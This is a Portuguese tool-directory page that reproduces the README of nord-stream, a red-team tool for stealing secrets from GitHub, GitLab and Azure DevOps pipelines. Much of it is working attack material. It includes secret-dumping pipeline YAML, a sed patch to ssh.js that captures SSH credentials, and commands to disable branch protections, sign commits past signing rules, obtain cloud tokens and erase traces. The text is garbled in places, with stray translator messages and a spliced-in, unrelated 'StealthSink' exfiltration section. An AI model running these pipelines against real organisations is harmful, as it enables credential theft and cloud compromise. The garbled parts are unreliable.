Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
nord-stream — Nord Stream é uma ferramenta que permite extrair segredos armazenados em ambientes de CI/CD por meio da implantação de pipelines maliciosos. Atualmente, ela suporta Azure DevOps, GitHub e GitLab. | Kitploit
Ferramentas/GitHubGitHub/synacktiv/nord-stream
ExploraçãoFerramentas de ImpersonaçãoExfiltração de DadosColeta de InformaçõesTestes de PenetraçãoDevSecOpsDetecção de SegredosRed Teaming
GitHubsynacktiv/nord-stream

nord-stream

Nord Stream é uma ferramenta que permite extrair segredos armazenados em ambientes de CI/CD por meio da implantação de pipelines maliciosos. Atualmente, ela suporta Azure DevOps, GitHub e GitLab.

Ver Repositório
3702247há 2 mesesRevisado pelo Kitploit
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Nord Stream

O Nord Stream é uma ferramenta que permite extrair segredos armazenados em ambientes CI/CD ao implementar pipelines maliciosos.

Atualmente, suporta Azure DevOps, GitHub e GitLab.

Saiba mais na seguinte publicação do blog: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks

Índice

  • Nord Stream
    • Índice
    • Instalação
    • Uso
      • Argumentos compartilhados
        • Descrever token
        • Construir YAML
        • YAML
        • Limpar logs
        • Assinar commits
      • Azure DevOps
        • Conexões de serviço
          • SSH
        • Listar organizações
        • Ajuda
      • GitHub
        • Listar proteções
        • Desativar proteções
        • Forçar
        • Azure OIDC
        • AWS OIDC
        • Ajuda
      • GitLab
        • Listar segredos
        • YAML
        • Listar proteções
Output directory for logs --ignore-cert Allow insecure server connections Output directory for logs --url <gitlab_url> Gitlab URL [default: ] --ignore-cert Allow insecure server connections
  • Ajuda
  • TODO
  • Contato
  • Instalação```

    $ pipx install git+https://github.com/synacktiv/nord-stream

    root@kitploit:~
    `git` is also required (see https://git-scm.com/download/) and must exist in your `PATH`.
    
    ## Uso
    
    Aqui está um exemplo simples no GitHub; inicialmente, é possível enumerar os vários segredos.```sh
    $ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
    [*] Listing secrets:
    [*] "org/repo" secrets
    [*] Repo secrets:
            - REPO_SECRET
            - SUPER_SECRET
    [*] PROD secrets:
            - PROD_SECRET
    

    Em seguida, prossiga para a exfiltração:```sh $ nord-stream github --token "$GHP" --org org --repo repo
    [+] "org/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch [] Getting secrets from repo: "org/repo" [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_SUPER_SECRET=value for super secret secret_REPO_SECRET=repository secret

    [] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment

    [] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github

    root@kitploit:~
    ### Argumentos compartilhados
    
    Alguns argumentos são compartilhados entre [GitHub](#github), [Azure DevOps](#azure-devops) e [GitLab](#gitlab) aqui estão alguns exemplos.
    
    #### Descrever token
    
    A opção `--describe-token` pode ser usada para exibir informações gerais sobre o seu token:```bash
    $ nord-stream github --token "$PAT" --describe-token
    [*] Token information:
            - Login: CICD
            - IsAdmin: False
            - Id: 1337
            - Bio: None
    
    

    Build YAML

    A opção --build-yaml pode ser usada para criar um arquivo de pipeline sem implantá-lo. Ela recupera os diversos nomes de segredos para construir o pipeline associado, que pode ser usado para adicionar etapas personalizadas:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml [+] YAML file: name: GitHub Actions 'on': push jobs: init: runs-on: ubuntu-latest steps: - run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0 name: command env: secret_PROD_SECRET: ${{secrets.PROD_SECRET}} environment: PROD

    root@kitploit:~
    #### YAML
    
    A opção `--yaml` pode ser usada para implantar um pipeline personalizado:```yml
    name: GitHub Actions
    'on': push
    jobs:
      init:
        runs-on: ubuntu-latest
        steps:
        - run: echo "Hello from step 1"
          name: step 1
        - run: echo "Doing some important stuff here"
          name: command
        - run: echo "Hello from last step "
          name: last step
    

    The input content is empty — there is no chunk text to translate. Please provide the actual chunk content and I'll translate it into pt.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here

    [] Cleaning logs. [] Check output: .../nord-stream-logs/github

    root@kitploit:~
    Por padrão, ele exibirá a saída da tarefa chamada `command` do job `init`, mas tudo é armazenado localmente e pode ser acessado manualmente:```bash
    $ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
    2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
    2023-07-18T20:08:33.0459084Z echo "Hello from last step "
    2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
    2023-07-18T20:08:33.0511890Z ##[endgroup]
    2023-07-18T20:08:33.0597853Z Hello from last step
    

    Limpar logs

    Por padrão, o Nord Stream tentará remover os vestígios deixados após uma implantação de pipeline, dependendo dos seus privilégios. Para preservar os vestígios, a opção --no-clean pode ser usada. Isso manterá os logs do pipeline, mas ainda assim reverterá as alterações feitas no repositório. Observe que, para o GitLab, alguns vestígios não podem ser excluídos.

    Assinatura de commits

    Os administradores de repositórios podem impor a assinatura obrigatória de commits em um branch para bloquear todos os commits que não estejam assinados e verificados. Com o Nord Stream, é possível assinar commits para contornar essa proteção.

    Primeiro, crie e importe sua chave GPG na plataforma SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]

    root@kitploit:~
    O conteúdo do chunk não foi incluído na mensagem — o campo INPUT está vazio. Envie o trecho de Markdown correspondente ao chunk 19 para que eu possa traduzi-lo para português.```bash
    $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main  --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
    [*] Using branch: "main"
    [+] "synacktiv/repo"
    [*] Getting secrets from environment: "prod" (synacktiv/repo)
    [*] Getting workflow output
    [!] Workflow not finished, sleeping for 15s
    [+] Workflow has successfully terminated.
    [+] Secrets:
    secret_PROD_SECRET=my PROD_SECRET
    
    

    Integração com Outros Módulos NetExec

    O StealthSink integra-se com vários módulos-chave do NetExec para permitir a exfiltração de dados através de tráfego de rede com aparência legítima.

    Integração do Módulo FTP

    O módulo FTP no StealthSink permite a exfiltração de dados via comandos FTP padrão, mascarando a transferência de dados como uploads de arquivos normais.

    Exemplo de configuração e uso:```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5

    root@kitploit:~
    ### Azure DevOps
    
    O Nord Stream pode extrair os seguintes tipos de segredos:
    - Grupos de variáveis (vg)
    - Arquivos seguros (sf)
    - Conexões de serviço
    
    #### Conexões de serviço
    
    O Azure DevOps oferece a possibilidade de criar conexões com serviços externos e remotos para executar tarefas em um trabalho. Para isso, são usadas conexões de serviço. Uma conexão de serviço contém credenciais de uma identidade para um serviço remoto. Existem vários tipos de conexões de serviço no Azure DevOps.
    
    O Nord Stream atualmente suporta extração de segredos para os seguintes tipos de conexão de serviço:
    - AzureRM
    - GitHub
    - AWS
    - SonarQube
    - SSH
    
    Se você encontrar um tipo não suportado, abra uma issue ou faça um pull request :)
    
    ##### SSH
    
    A extração para este tipo de conexão de serviço foi dolorosa de implementar. A saída é a seguinte:```
    hostname:::port:::user:::password:::privatekey
    

    Se você quiser executá-lo em um runner auto-hospedado, você pode fazer o seguinte:``` $ nord-stream devops ... --build-yaml test.yml --build-type ssh
    [+] YAML file: trigger: none pool: vmImage: ubuntu-latest steps:

    • checkout: none
    • script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js) ; cp $SSH_FILE $SSH_FILE.bak ; sed -i 's|const readyTimeout = getReadyTimeoutVariable();|const readyTimeout = getReadyTimeoutVariable();\nconst fs = require("fs");var data = "";data += hostname
      • ":::" + port + ":::" + username + ":::" + password + ":::" + privateKey;fs.writeFile("/tmp/artefacts.tar.gz", data, (err) => {});|' $SSH_FILE displayName: Preparing Build artefacts
    • task: SSH@0 inputs: sshEndpoint: '#FIXME' runOptions: commands commands: sleep 1
    • script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js); mv $SSH_FILE.bak $SSH_FILE ; cat /tmp/artefacts.tar.gz | base64 -w0 | base64 -w0 ; echo '' displayName: Build artefacts
    root@kitploit:~
    Then you need to:
    1) altere o `vmImage: ubuntu-latest` para `name: 'Self-Hosted pool name'`
    2) Adicione o nome da conexão de serviço no espaço reservado `#FIXME`.
    3) implante o pipeline com: `--yaml test.yml`
    
    Se você precisar executar isso em um runner self-hosted do Windows, no método `generatePipelineForSSH` altere `_serviceConnectionTemplateSSH` por `_serviceConnectionTemplateSSHWindows` e execute as ações descritas anteriormente.
    
    Nota: para runners self-hosted, tanto Windows quanto Linux, você precisa adaptar o caminho (`/home/vsts/work/_tasks/` ou `D:\a\`) para corresponder ao caminho onde o runner está implantado. Essas informações podem ser obtidas na aba `Capabilities` de um agente no Azure DevOps.
    
    #### Listando organizações
    
    Com um token de acesso, é possível listar as organizações vinculadas a um usuário:```
    $ nord-stream devops --token "eyJ0eXA..." --list-orgs
    [*] User orgs:
            - myorg
            - supersecretorg
    

    Isso é baseado em esta pesquisa.

    Ajuda```

    $ nord-stream devops -h CICD pipeline exploitation tool

    Usage: nord-stream devops [options] --token --org [extraction] [--project --write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --yaml --project [--write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --build-yaml [--build-type ] nord-stream devops [options] --token --org --clean-logs [--project ] nord-stream devops [options] --token --org --list-projects [--write-filter] nord-stream devops [options] --token --org (--list-secrets [--project --write-filter] | --list-users) nord-stream devops [options] --token --org --describe-token

    Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir

    Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits

    args: --token Azure DevOps personal token or JWT --org Org name -p, --project Run on selected project (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all pipeline created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --list-projects List all projects. --list-secrets List all secrets. --list-users List all users. --write-filter Filter projects where current user has write or admin access. --build-yaml Create a pipeline yaml file with default configuration. --build-type Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh --describe-token Display information on the token --branch-name Use specific branch name for deployment. --pipeline-name Use pipeline for deployment. --repo-name Use specific repo for deployment.

    Exctraction: --extract Extract following secrets [vg,sf,gh,az,aws,sonar,ssh] --no-extract Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]

    Examples: List all secrets from all projects $ nord-stream devops --token "$PAT" --org myorg --list-secrets

    root@kitploit:~
    Dump all secrets from all projects
    $ nord-stream devops --token "$PAT" --org myorg
    

    Authors: @hugow @0hexit

    root@kitploit:~
    ### GitHub
    
    #### Listar proteções
    
    A opção `--list-protections` pode ser usada para listar as proteções aplicadas a um branch e a ambientes:```bash
    $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections
    [*] Using branch: "main"
    [*] Checking security: "synacktiv/repo"
    [*] Found branch protection rule on "main" branch
    [*] Branch protections:
            - enforce admins: True
            - block creations: True
            - required signatures: True
            - allow force pushes: False
            - allow deletions: False
            - required pull request reviews: False
            - required linear history: False
            - required conversation resolution: False
            - lock branch: False
            - allow fork syncing: False
    [*] Environment protection for: "DEV":
            - deployment branch policy: custom
    [*] No environment protection rule found for: "INT"
    [*] Environment protection for: "PROD":
            - deployment branch policy: custom
    

    Dependendo das suas permissões, você pode ter menos informações, somente administradores podem ter os detalhes completos das proteções.

    Desabilitar proteções

    A opção --disable-protections pode ser usada para desabilitar temporariamente as proteções aplicadas a um branch ou a um ambiente, realizar o dump e restaurar todas as proteções:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections [] Using branch: "main" [+] "synacktiv/repo" [] Found branch protection rule on "main" branch [...] [!] Removing branch protection, wait until it's restored. [] Getting secrets from environment: "prod" (synacktiv/repo) [] Environment protection for: "PROD": - deployment branch policy: custom [!] Modifying env protection, wait until it's restored. [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [!] Restoring env protections. [+] Secrets: secret_PROD_SECRET=my PROD_SECRET

    [*] Cleaning logs. [!] Restoring branch protection.

    root@kitploit:~
    This requires admin privileges.
    
    #### Force
    
    Por padrão, se o Nord Stream detetar uma proteção num branch ou num ambiente, não realizará a extração de segredos. Se considerar que as proteções são demasiado permissivas ou podem ser contornadas com os seus privilégios, a opção `--force` pode ser utilizada para implantar o pipeline independentemente das proteções.
    
    #### Azure OIDC
    
    O OIDC (OpenID Connect) pode ser utilizado para ligar a serviços cloud. A ideia geral é permitir que pipelines ou workflows autorizados obtenham tokens de acesso de curta duração diretamente de um fornecedor cloud, sem envolver quaisquer segredos estáticos. A autorização baseia-se em relações de confiança configuradas no lado do fornecedor cloud e é condicionada pela origem do pipeline ou workflow.
    
    Aqui está um exemplo de um workflow do GitHub que utiliza OIDC:```yaml
    [...]
    steps:
        - name: OIDC Login to Azure Public Cloud
        uses: azure/login@v1
        with:
            client-id: ${{ secrets.AZURE_CLIENT_ID }}
            tenant-id: ${{ secrets.AZURE_TENANT_ID }}
            subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional
    

    Se você se deparar com esse workflow, isso significa que o repositório pode estar configurado para obter um token de acesso de curta duração que pode dar acesso aos recursos do Azure.

    O Nord Stream é capaz de implantar um pipeline para recuperar esse token de acesso com as seguintes opções:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 [] Using branch: "main" [+] "synacktiv/repo" [] No branch protection rule found on "main" branch [] Running OIDC Azure access tokens generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC access tokens: Access token to use with Azure Resource Manager API: { "accessToken": "eyJ0eXAiOiJK[...]PVig", "expiresOn": "2023-07-18 23:18:57.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }

    Access token to use with MS Graph API: { "accessToken": "eyJ0eXAi[...]_qTA", "expiresOn": "2023-07-19 22:18:59.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }

    root@kitploit:~
    O `--azure-subscription-id` é opcional e pode ser usado para obter um token de acesso para uma assinatura específica.
    
    #### AWS OIDC
    
    A mesma técnica (veja [Azure OIDC](#azure-oidc)) pode ser usada para obter um token de sessão na AWS.
    
    Aqui está um exemplo de um fluxo de trabalho usando AWS OIDC:```yaml
    [...]
    steps:
        - name: Configure AWS Credentials
        uses: aws-actions/configure-aws-credentials@v1
        with:
            role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole
            role-session-name: oidcrolesession
            aws-region: us-east-1
    

    Se encontrar um fluxo de trabalho assim, isso significa que o repositório pode estar configurado para obter um token de acesso AWS que pode dar acesso aos recursos da AWS.

    O Nord Stream é capaz de implantar um pipeline para recuperar esse token de acesso com as seguintes opções:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force [+] "Synacktiv/repo" [] Running OIDC AWS credentials generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC credentials: AWS_DEFAULT_REGION=us-east-1 AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6 AWS_REGION=us-east-1 AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA

    root@kitploit:~
    #### Ajuda```
    $ nord-stream github -h
    CICD pipeline exploitation tool
    
    Usage:
        nord-stream github [options] --token <ghp> --org <org> [--repo <repo> --no-repo --no-env --no-org --env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
        nord-stream github [options] --token <ghp> --org <org> --yaml <yaml> --repo <repo> [--env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
        nord-stream github [options] --token <ghp> --org <org> ([--clean-logs] [--clean-branch-policy]) [--repo <repo> --branch-name <name>]
        nord-stream github [options] --token <ghp> --org <org> --build-yaml <filename> --repo <repo> [--env <env>]
        nord-stream github [options] --token <ghp> --org <org> --azure-tenant-id <tenant> --azure-client-id <client> [--azure-subscription-id <subscription> --repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
        nord-stream github [options] --token <ghp> --org <org> --aws-role <role> --aws-region <region> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
        nord-stream github [options] --token <ghp> --org <org> --list-protections [--repo <repo> --branch-name <name> --disable-protections (--key-id <id> --user <user> --email <email>)]
        nord-stream github [options] --token <ghp> --org <org> --list-secrets [--repo <repo> --no-repo --no-env --no-org]
        nord-stream github [options] --token <ghp> [--org <org>] --list-repos [--write-filter]
        nord-stream github [options] --token <ghp> --describe-token
    
    Options:
        -h --help                               Show this screen.
        --version                               Show version.
        -v, --verbose                           Verbose mode
        -d, --debug                             Debug mode
        --output-dir <dir>                      Output directory for logs
    
    Signing:
        --key-id <id>                           GPG primary key ID
        --user <user>                           User used to sign commits
        --email <email>                         Email address used to sign commits
    
    args
        --token <ghp>                           Github personal token
        --org <org>                             Org name
        -r, --repo <repo>                       Run on selected repo (can be a file)
        -y, --yaml <yaml>                       Run arbitrary job
        --clean-logs                            Delete all logs created by this tool. This operation is done by default but can be manually triggered.
        --no-clean                              Don't clean workflow logs (default false)
        --clean-branch-policy                   Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.
        --build-yaml <filename>                 Create a pipeline yaml file with all secrets.
        --env <env>                             Specify env for the yaml file creation.
        --no-repo                               Don't extract repo secrets.
        --no-env                                Don't extract environnments secrets.
        --no-org                                Don't extract organization secrets.
        --azure-tenant-id <tenant>              Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).
        --azure-subscription-id <subscription>  Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).
        --azure-client-id <client>              Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).
        --aws-role <role>                       AWS role to assume (OIDC related).
        --aws-region <region>                   AWS region (OIDC related).
        --list-protections                      List all protections.
        --list-repos                            List all repos.
        --list-secrets                          List all secrets.
        --disable-protections                   Disable the branch protection rules (needs admin rights)
        --write-filter                          Filter repo where current user has write or admin access.
        --force                                 Don't check environment and branch protections.
        --branch-name <name>                    Use specific branch name for deployment.
        --describe-token                        Display information on the token
    
    Examples:
        List all secrets from all repositories
        $ nord-stream github --token "$GHP" --org myorg --list-secrets
    
        Dump all secrets from all repositories and try to disable branch protections
        $ nord-stream github --token "$GHP" --org myorg --disable-protections
    
    Authors: @hugow @0hexit
    

    GitLab

    Conforme descrito no artigo, não há como remover os logs na aba de atividades após uma implantação de pipeline. Isso deve ser levado em consideração durante engajamentos de Red Team.

    Listar segredos

    A opção --list-secrets pode ser usada para listar e extrair segredos do GitLab.

    A forma como o GitLab gerencia segredos é um pouco diferente do Azure DevOps e do GitHub action. Com acesso de administrador a um projeto, grupo ou até mesmo acesso de administrador na instância do GitLab, é possível extrair todas as variáveis de CI/CD definidas sem implantar nenhum pipeline.

    No entanto, para um usuário com privilégios baixos, não é possível listar os segredos definidos nos níveis de projeto, grupo ou instância. Contudo, se os usuários tiverem privilégios de escrita em um projeto, eles poderão implantar um pipeline malicioso para exfiltrar as variáveis de ambiente que expõem as variáveis de CI/CD. Isso significa que um usuário com privilégios baixos não tem como saber se um segredo está definido em um projeto específico. A única forma é olhar os pipelines legítimos já presentes em um projeto e verificar se um pipeline usa variáveis de ambiente sensíveis.

    Aqui está um arquivo de pipeline para realizar essa operação no GitLab:```yaml stages:

    • synacktiv

    deploy-production: image: ubuntu:latest stage: synacktiv script: - env | base64 -w0 | base64 -w 0

    root@kitploit:~
    O GitLab também suporta arquivos seguros como o Azure DevOps. Os arquivos seguros são definidos no nível do projeto. Assim como as variáveis, não é possível listar os arquivos seguros sem acesso de administrador ao projeto. No entanto, com acesso de administrador, o nord-stream tentará exfiltrar os arquivos seguros relacionados aos projetos.
    
    #### YAML
    
    O mesmo que [YAML](#yaml), porém você precisa fornecer o caminho completo do projeto assim:```sh
    $ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml
    

    The output of the command --list-projects returns such path.

    Lista de proteções

    Igual à lista de proteções do GitHub

    Ajuda```

    $ nord-stream gitlab -h CICD pipeline exploitation tool

    Usage: nord-stream gitlab [options] --token (--list-secrets | --list-protections) [--project --group --no-project --no-group --no-instance --write-filter] nord-stream gitlab [options] --token ( --list-groups | --list-projects ) [--project --group --write-filter] nord-stream gitlab [options] --token --yaml --project [--no-clean] nord-stream gitlab [options] --token --clean-logs [--project ] nord-stream gitlab [options] --token --describe-token

    Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir

    https://gitlab.com

    Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits

    args: --token GitLab personal access token or _gitlab_session cookie --project Run on selected project (can be a file) --group Run on selected group (can be a file) --list-secrets List all secrets. --list-protections List branch protection rules. --list-projects List all projects. --list-groups List all groups. --write-filter Filter repo where current user has developer access or more. --no-project Don't extract project secrets. --no-group Don't extract group secrets. --no-instance Don't extract instance secrets. -y, --yaml Run arbitrary job --branch-name Use specific branch name for deployment. --clean-logs Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --describe-token Display information on the token

    Examples: Dump all secrets $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets

    root@kitploit:~
    Deploy the custom pipeline on the master branch
    $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'
    

    Authors: @hugow @0hexit

    root@kitploit:~
    ## A FAZER
    
    - [ ] Adicionar suporte a URLs correspondentes a instâncias do Azure DevOps Server (soluções locais / on-premises)
    - [ ] Adicionar uma opção para extrair segredos via hosts Windows
    - [ ] Adicionar suporte a outros ambientes de CI/CD (Jenkins/Bitbucket)
    - [ ] Usar a API GraphQL do GitHub em vez da REST para listar as regras de proteção de branch e desativá-las temporariamente se corresponderem ao branch malicioso prestes a ser enviado
    
    ## Contato
    
    Envie quaisquer bugs, problemas, dúvidas ou solicitações de recursos em "Issues" ou envie-os para nós no Twitter [@hugow](https://twitter.com/hugow_vincent) e [@0hexit](https://twitter.com/0hexit).
    
    Baixar ferramenta